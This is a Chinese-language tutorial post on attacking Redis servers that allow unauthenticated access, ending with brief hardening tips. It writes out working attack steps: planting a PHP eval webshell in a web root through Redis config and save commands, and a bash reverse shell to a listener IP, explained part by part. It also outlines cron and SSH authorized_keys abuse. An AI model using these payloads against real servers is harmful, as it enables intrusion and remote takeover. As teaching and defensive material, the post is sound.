Redis未授权访问漏洞

简介: 利用Redis实现攻击的三种方式

一、Redis相关知识

1、常见用途

缓存、分布式session、分布式锁、分布式全局ID、计数器、限流、列表、抽奖、标签、排行榜


2、Redis为什么这么流行?

(1)数据类型丰富,应用场景广泛

(2)纯内存的数据结构,读写速度快

(3)功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)


3、Redis持久化机制

(1)RDB :Redis DataBase(默认)

(2)AOF :Append Only File

配置:

(1)save 3600 1#自动触发规则

(2)dbfilename dump.rdb #文件名

(3)dir ./ #存储路径

手动触发保存命令: save / bgsave

动态修改配置

config set:动态修改配置,重启以后失效

config set dir /www/admin/localhost_80/wwwroot

config set dbfilename redis.php



二、如何利用Redis实现攻击

1、webshell提权

前提:有HTTP服务器、知道文件保存路径、6379端口开放且无密码

redis-cli -h 192.168.142.66 -p 6379     #连接到6379端口(需要没有设置密码)
config set dir /www/admin/localhost_80/wwwroot     #修改存储路径
config set dbfilename redis.php        #修改文件名(php后缀)
set x " <?php @eval($_POST[cmd]); ?>"  #任意值写入一句话木马
save    #保存
#再用蚁剑连接即可

2、反弹连接

image.png

image.png

2.1、适用:

(1)在内网,只有私有IP

(2)IP动态变化

(3)6379端口不允许入方向

(4)—句话木马被杀软删除


2.2、实现:

1、监听端口

image.png

2、建立连接

(看机器有什么环境,通过命令直接连接,或者访问代码文件)

image.png

image.png

image.png

(*配合msf监听模块使用)


命令解析:
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1
bash -i   ——打开交互式终端
/dev/tcp/192.168.142.44/7777    ——建立TCP远程连接
>&——将标准错误输出合并到标准输出中
0>&1——将标准输入重定向到标准输出中
标准输入(stdin):代码为0,使用<或<<;
标准输出(stdout):代码为1,使用>或>>;
标准错误输出(stderr):代码为2,使用2>或2>>




2.3、总结

流程

1、监听端口

2、执行命令,或者上传payload访问,建立连接


怎么上传?

1、文件上传漏洞

2、写入文件: MySQL、Redis、CMS

3、文本编辑命令: tee (vulnhub-breach). test.py (vulnh

ub-DC9)


怎么执行?

访问或者定时任务自动触发


2.4、Redis写入反弹连接任务

定时任务

Linux cron表达式

image.png

cron文件牛存储路径

image.png



3、SSH key免密登录


3.1、流程

1、客户端生成密钥对(公钥、私钥)

2、客户端把公钥发给服务端保存(正常情况需要密码)

3、客户端用私钥加密消息,发给服务端

4、服务端用公钥解密,解密成功,说明密钥匹配

5、客户端免密登录成功



3.2、Redis利用SSH Key提权流程

1、控制机连接到Redis

2、向$HOME/.ssh/authorized_keys写入公钥

3、ssh -i ./id_rsa user@IP 使用私钥免密登录

4、执行后续操作



三、Redis加固

1、限制访问IP

2、修改默认端口

3、使用密码访问

4、不要用root运行Redis

相关文章
|
缓存 NoSQL 网络安全
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
212 0
|
6月前
|
NoSQL Linux Redis
每天百万访问也不怕,Redis帮你搞定UV统计
本文介绍了使用Redis实现高性能UV统计系统的方法。Redis凭借其内存数据库特性,支持毫秒级响应和自动去重,非常适合高并发场景下的访客统计。核心思路是利用Redis的Set数据结构作为"每日签到墙",通过记录用户访问ID实现自动去重,并设置24小时过期时间。文章提供了Python代码示例,展示如何记录用户访问和获取当日UV统计数据,还可扩展实现多页面UV统计。相比传统数据库方案,Redis方案更加轻量高效,是中小型网站实现流量统计的理想选择。
530 0
|
NoSQL 编译器 Linux
【赵渝强老师】Redis的安装与访问
本文基于Redis 6.2版本,详细介绍了在CentOS 7 64位虚拟机环境中部署Redis的步骤。内容包括安装GCC编译器、创建安装目录、解压安装包、编译安装、配置文件修改、启动服务及验证等操作。视频讲解和相关图片帮助理解每一步骤。
214 0
|
安全 NoSQL 网络安全
漏洞检测与防御:Redis未授权访问漏洞复现
漏洞检测与防御:Redis未授权访问漏洞复现
1024 0
|
缓存 负载均衡 NoSQL
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
122 0
|
缓存 NoSQL 安全
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
269 0
|
缓存 NoSQL 网络安全
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
117 0
|
缓存 NoSQL Redis
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
123 0
|
缓存 NoSQL Redis
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
102 0
|
NoSQL Redis
redis外部访问
1、redis的搭建这里就不做描述的了,可以参考我的另外一个博客。 http://www.cnblogs.com/ll409546297/p/6993778.html 2、说明一下我们在其他服务器上面不能访问自己搭建的redis服务器的原因   1)bind 127.0.0.1 因为redis.conf中默认是配置的bind 127.0.0.1。
1419 0